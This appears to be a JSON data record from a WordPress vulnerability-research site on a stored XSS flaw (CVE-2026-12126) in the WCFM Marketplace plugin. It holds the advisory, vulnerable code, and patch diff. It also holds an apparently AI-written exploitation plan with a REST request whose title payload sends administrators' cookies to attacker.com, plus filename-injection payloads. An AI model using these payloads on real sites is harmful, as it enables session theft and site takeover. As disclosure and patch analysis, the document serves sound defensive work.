[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fMb5gH0Sk7RR9Ra2wKiofNi_EQa4USZ93csO06bXXZ-g":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-12126","wcfm-marketplace-authenticated-vendor-stored-cross-site-scripting-via-attachment-posttitle","WCFM Marketplace \u003C= 3.7.3 - Authenticated (Vendor+) Stored Cross-Site Scripting via Attachment 'post_title'","The WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Attachment 'post_title' in all versions up to, and including, 3.7.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Vendor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. An attacker can plant the payload by uploading a media attachment with a crafted title via the WordPress REST API (\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia), without ever invoking the AJAX endpoint themselves, as the unescaped title is later emitted inside DataTables JSON and inserted as innerHTML upon any privileged user loading the media dashboard.","wc-multivendor-marketplace",null,"\u003C=3.7.3","3.7.4","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-10 16:41:41","2026-07-11 05:35:49",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F881ec131-a716-4929-a44e-84bac161d81c?source=api-prod",1,[22,23,24,25,26,27,28,29],"controllers\u002Fmedia\u002Fwcfmmp-controller-media.php","core\u002Fclass-wcfmmp-ajax.php","core\u002Fclass-wcfmmp-shipping-zone.php","helpers\u002Fwcfmmp-core-functions.php","includes\u002Fstore-widgets\u002Fclass-wcfmmp-widget-store-featured-products.php","lang\u002Fwc-multivendor-marketplace-de_DE.po","lang\u002Fwc-multivendor-marketplace-fr_FR.po","lang\u002Fwc-multivendor-marketplace-ru_RU.po","researched",false,3,"# Exploitation Research Plan: CVE-2026-12126 (WCFM Marketplace Stored XSS)\n\n## 1. Vulnerability Summary\nThe **WCFM Marketplace** plugin is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `post_title` of media attachments. The vulnerability exists in the `WCFMmp_Media_Controller::processing()` method. When the media dashboard is loaded, the plugin retrieves attachments and builds a JSON response for a DataTables-based UI. The `post_title` of the attachment is concatenated into the HTML structure within the JSON without sanitization or output escaping. Because the frontend UI (likely DataTables) inserts this content into the DOM using a method like `innerHTML`, arbitrary JavaScript can be executed in the context of any privileged user (such as an Administrator) viewing the media dashboard.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** WordPress REST API `\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia` (for planting) and the WCFM Media Dashboard (for execution).\n*   **Vulnerable Parameter:** `title` (REST API) which maps to `post_title` in the database.\n*   **Authentication Level:** **Vendor** or higher. Vendors have the default capability to upload media files to the WordPress library.\n*   **Preconditions:** The WCFM Marketplace plugin must be active, and a Vendor account must be available.\n*   **Execution Trigger:** A privileged user (Admin or Manager) must navigate to the WCFM Media Dashboard (`\u002Fwp-admin\u002Fadmin.php?page=wcfm-media` or the frontend equivalent).\n\n## 3. Code Flow\n1.  **Storage:** The attacker uses the WordPress REST API (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia`) to upload an image or update an existing attachment's title to a malicious payload.\n2.  **Retrieval:** When a user loads the WCFM Media Dashboard, an AJAX request is made to the WCFM controller.\n3.  **Processing:** `controllers\u002Fmedia\u002Fwcfmmp-controller-media.php` - `WCFMmp_Media_Controller::processing()`:\n    *   Line 47: `$wcfm_media_array = get_posts( $args );` fetches the attachments.\n    *   Line 72: Iterates through `$wcfm_media_array`.\n    *   Line 126: **The Sink**\n        ```php\n        $wcfm_media_json_arr[$index][] = '\u003Cspan class=\"wcfmmp_media_name\">' . $wcfm_media_single->post_title . \"\u003C\u002Fspan>\u003Cbr \u002F>(\" . $type . \")\";\n        ```\n        The raw `post_title` is concatenated directly into the HTML string.\n    *   Line 160: `$wcfm_media_json .= json_encode($wcfm_media_json_arr);`\n    *   Line 164: `echo $wcfm_media_json;`\n4.  **Execution:** The frontend JavaScript receives this JSON. DataTables renders the `data` array. Since the payload is wrapped in HTML tags within the JSON string, the browser executes the script when it is injected into the table.\n\n## 4. Nonce Acquisition Strategy\nThe planting phase uses the standard WordPress REST API.\n1.  **For Planting (REST API):**\n    *   The REST API requires a `_wpnonce` header (`X-WP-Nonce`) for cookie-authenticated requests.\n    *   The execution agent should navigate to `\u002Fwp-admin\u002F` as a Vendor.\n    *   Use `browser_eval` to extract the REST nonce from the WordPress settings object:\n        `browser_eval(\"wpApiSettings.nonce\")`\n2.  **For Execution (WCFM Dashboard):**\n    *   No nonce is required to *trigger* the XSS; the payload is stored and will execute automatically when the victim loads the page.\n\n## 5. Exploitation Strategy\n### Step 1: Upload\u002FModify Media via REST API\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Body:**\n    ```json\n    {\n      \"title\": \"Malicious Image \u003Cimg src=x onerror='fetch(\\\"http:\u002F\u002Fattacker.com\u002Flog?c=\\\" + document.cookie)'>\",\n      \"media_attachment\": \"[BASE64_IMAGE_DATA_OR_FILE_PATH]\"\n    }\n    ```\n*Note: If an image already exists, the attacker can use a POST request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia\u002F\u003Cid>` just to update the `title`.*\n\n### Step 2: Trigger Execution\n*   **Action:** Log in as Administrator.\n*   **Navigate:** Navigate to the WCFM Media Dashboard. The URL is typically: `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin.php?page=wcfm-media`.\n*   **Result:** The DataTables component will fetch the media list, receive the malicious `post_title`, and render the `onerror` payload.\n\n## 6. Test Data Setup\n1.  **Create Vendor User:**\n    ```bash\n    wp user create attacker vendor@example.com --role=wcfm_vendor --user_pass=password\n    ```\n2.  **Active Plugin:** Ensure `wc-multivendor-marketplace` is active.\n3.  **Identify Shortcode:** The WCFM dashboard usually relies on the `[wcfm_media]` shortcode if used on the frontend. If testing in the backend, no shortcode is needed.\n\n## 7. Expected Results\n*   The AJAX response from the media controller will contain the unescaped payload:\n    `\"data\": [[\"...\", \"\u003Cspan class=\\\"wcfmmp_media_name\\\">Malicious Image \u003Cimg src=x onerror=...\u003C\\\u002Fspan>\"]]`\n*   When viewed by an Administrator, the browser will attempt to load the broken image and execute the `onerror` handler.\n*   The `onerror` handler will fire, demonstrating XSS (e.g., an alert or a callback to a listener).\n\n## 8. Verification Steps\n1.  **Check Database:** Verify the payload is stored exactly as sent.\n    ```bash\n    wp db query \"SELECT post_title FROM wp_posts WHERE post_type='attachment' ORDER BY ID DESC LIMIT 1\"\n    ```\n2.  **Verify Output:** Use the `http_request` tool as an Admin to call the WCFM AJAX controller directly and check for the unescaped string in the JSON.\n    *   **Action:** `wcfm_ajax_controller`\n    *   **Controller:** `wcfm-media`\n    *   Look for: `\u003Cimg src=x onerror=` in the response body.\n\n## 9. Alternative Approaches\n*   **SVG Upload:** If the vendor is permitted to upload SVGs, an SVG with an embedded `\u003Cscript>` tag could be uploaded. However, the `post_title` vector is more reliable as it doesn't depend on the browser's handling of SVG files, but rather on WCFM's rendering logic.\n*   **Filename Injection:** If the `post_title` defaults to the filename, the attacker can upload a file named `\">\u003Cimg src=x onerror=alert(1)>.jpg`. WCFM might use the filename as the title if the metadata is not explicitly provided in the REST call.","The WCFM Marketplace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via media attachment titles in versions up to and including 3.7.3. This vulnerability allows authenticated Vendors to inject malicious scripts through the WordPress REST API, which then execute in the context of a privileged user (such as an administrator) when they access the WCFM Media Dashboard.","\u002F\u002F controllers\u002Fmedia\u002Fwcfmmp-controller-media.php line 125\n\u002F\u002F File\n$wcfm_media_json_arr[$index][] = '\u003Cspan class=\"wcfmmp_media_name\">' . $wcfm_media_single->post_title . \"\u003C\u002Fspan>\u003Cbr \u002F>(\" . $type . \")\";","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-multivendor-marketplace\u002F3.7.3\u002Fcontrollers\u002Fmedia\u002Fwcfmmp-controller-media.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-multivendor-marketplace\u002F3.7.4\u002Fcontrollers\u002Fmedia\u002Fwcfmmp-controller-media.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-multivendor-marketplace\u002F3.7.3\u002Fcontrollers\u002Fmedia\u002Fwcfmmp-controller-media.php\t2026-05-20 06:33:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-multivendor-marketplace\u002F3.7.4\u002Fcontrollers\u002Fmedia\u002Fwcfmmp-controller-media.php\t2026-06-28 09:03:24.000000000 +0000\n@@ -114,21 +114,21 @@\n \t\t\t\t\tdefault:\n \t\t\t\t\t\t$media =  $base . \"default.png\";\n \t\t\t\t}\n-\t\t\t\t$wcfm_media_json_arr[$index][] = '\u003Ca class=\"wcfmmp-author-img\" target=\"_blank\" href=\"' . wp_get_attachment_url( $wcfm_media_single->ID ) . '\" >\u003Cimg width=\"75\" src=\"' . esc_url($media) . '\" \u002F>\u003C\u002Fa>';\n-\t\t\t\t\n+\t\t\t\t$wcfm_media_json_arr[$index][] = '\u003Ca class=\"wcfmmp-author-img\" target=\"_blank\" href=\"' . esc_url( wp_get_attachment_url( $wcfm_media_single->ID ) ) . '\" >\u003Cimg width=\"75\" src=\"' . esc_url( $media ) . '\" \u002F>\u003C\u002Fa>';\n+\n \t\t\t\t\u002F\u002F File\n-\t\t\t\t$wcfm_media_json_arr[$index][] = '\u003Cspan class=\"wcfmmp_media_name\">' . $wcfm_media_single->post_title . \"\u003C\u002Fspan>\u003Cbr \u002F>(\" . $type . \")\";\n-\t\t\t\t\n+\t\t\t\t$wcfm_media_json_arr[$index][] = '\u003Cspan class=\"wcfmmp_media_name\">' . esc_html( $wcfm_media_single->post_title ) . \"\u003C\u002Fspan>\u003Cbr \u002F>(\" . esc_html( $type ) . \")\";\n+\n         \u002F\u002F Associate\n         if( $wcfm_media_single->post_parent ) {\n-\t\t\t\t\t$wcfm_media_json_arr[$index][] = '\u003Ca class=\"wcfmmp-author-img\" target=\"_blank\" href=\"' . get_permalink( $wcfm_media_single->post_parent ) . '\" >' . get_the_title( $wcfm_media_single->post_parent ) . '\u003C\u002Fa>';\n+\t\t\t\t\t$wcfm_media_json_arr[$index][] = '\u003Ca class=\"wcfmmp-author-img\" target=\"_blank\" href=\"' . esc_url( get_permalink( $wcfm_media_single->post_parent ) ) . '\" >' . esc_html( get_the_title( $wcfm_media_single->post_parent ) ) . '\u003C\u002Fa>';\n \t\t\t\t} else {\n \t\t\t\t\t$wcfm_media_json_arr[$index][] = '&ndash;';\n \t\t\t\t}\n         \n         \u002F\u002F Store\n         if( $wcfm_media_single->post_author && wcfm_is_vendor($wcfm_media_single->post_author) ) {\n-\t\t\t\t\t$wcfm_media_json_arr[$index][] = $WCFM->wcfm_vendor_support->wcfm_get_vendor_store_by_vendor( absint($wcfm_media_single->post_author) );\n+\t\t\t\t\t$wcfm_media_json_arr[$index][] = wp_kses_post( $WCFM->wcfm_vendor_support->wcfm_get_vendor_store_by_vendor( absint($wcfm_media_single->post_author) ) );\n \t\t\t\t} else {\n \t\t\t\t\t$wcfm_media_json_arr[$index][] = '&ndash;';\n \t\t\t\t}\n@@ -143,13 +143,12 @@\n \t\t\t\t}\n         \n \t\t\t\t\u002F\u002F Status\n-\t\t\t\t$actions = '\u003Ca class=\"wcfm-action-icon\" target=\"_blank\" href=\"' . wp_get_attachment_url( $wcfm_media_single->ID ) . '\" >\u003Cspan class=\"wcfmfa fa-eye text_tip\" data-tip=\"' . esc_attr__( 'View', 'wc-frontend-manager' ) . '\">\u003C\u002Fspan>\u003C\u002Fa>';\n+\t\t\t\t$actions = '\u003Ca class=\"wcfm-action-icon\" target=\"_blank\" href=\"' . esc_url( wp_get_attachment_url( $wcfm_media_single->ID ) ) . '\" >\u003Cspan class=\"wcfmfa fa-eye text_tip\" data-tip=\"' . esc_attr__( 'View', 'wc-frontend-manager' ) . '\">\u003C\u002Fspan>\u003C\u002Fa>';\n \t\t\t\t\n \t\t\t\tif( apply_filters( 'wcfm_is_allow_delete_media', true ) ) {\n \t\t\t\t\t$actions .= '\u003Ca class=\"wcfm_media_dalete wcfm-action-icon\" href=\"#\" data-mediaid=\"' . $wcfm_media_single->ID . '\">\u003Cspan class=\"wcfmfa fa-trash-alt text_tip\" data-tip=\"' . esc_attr__( 'Delete', 'wc-multivendor-marketplace' ) . '\">\u003C\u002Fspan>\u003C\u002Fa>';\n \t\t\t\t}\n-\t\t\t\t$wcfm_media_json_arr[$index][] =  $actions;\n-\t\t\t\t\n+\t\t\t\t$wcfm_media_json_arr[$index][] = apply_filters ( 'wcfm_media_actions', $actions, $wcfm_media_single->ID );\n \t\t\t\t$index++;\n \t\t\t}\t\t\t\t\t\t\t\t\t\t\t\n \t\t}","The exploit occurs in two phases: planting and execution. \n1. Planting: An attacker authenticated as a Vendor extracts a REST API nonce and sends a POST request to the WordPress media REST API (\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia). The request sets the 'title' attribute of a media attachment to a malicious XSS payload (e.g., \u003Cimg src=x onerror=alert(document.domain)>).\n2. Execution: The malicious payload is stored in the database. When an administrator navigates to the WCFM Media Dashboard (\u002Fwp-admin\u002Fadmin.php?page=wcfm-media), the plugin's AJAX controller fetches the media details. The raw, unescaped 'post_title' is returned inside a JSON string. The frontend renders this content directly into a DataTables UI component as HTML, triggering the script in the administrator's session.","gemini-3-flash-preview","2026-07-15 08:40:48","2026-07-15 08:41:33",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.7.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-multivendor-marketplace\u002Ftags\u002F3.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-multivendor-marketplace.3.7.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-multivendor-marketplace\u002Ftags\u002F3.7.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-multivendor-marketplace.3.7.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-multivendor-marketplace\u002Ftags"]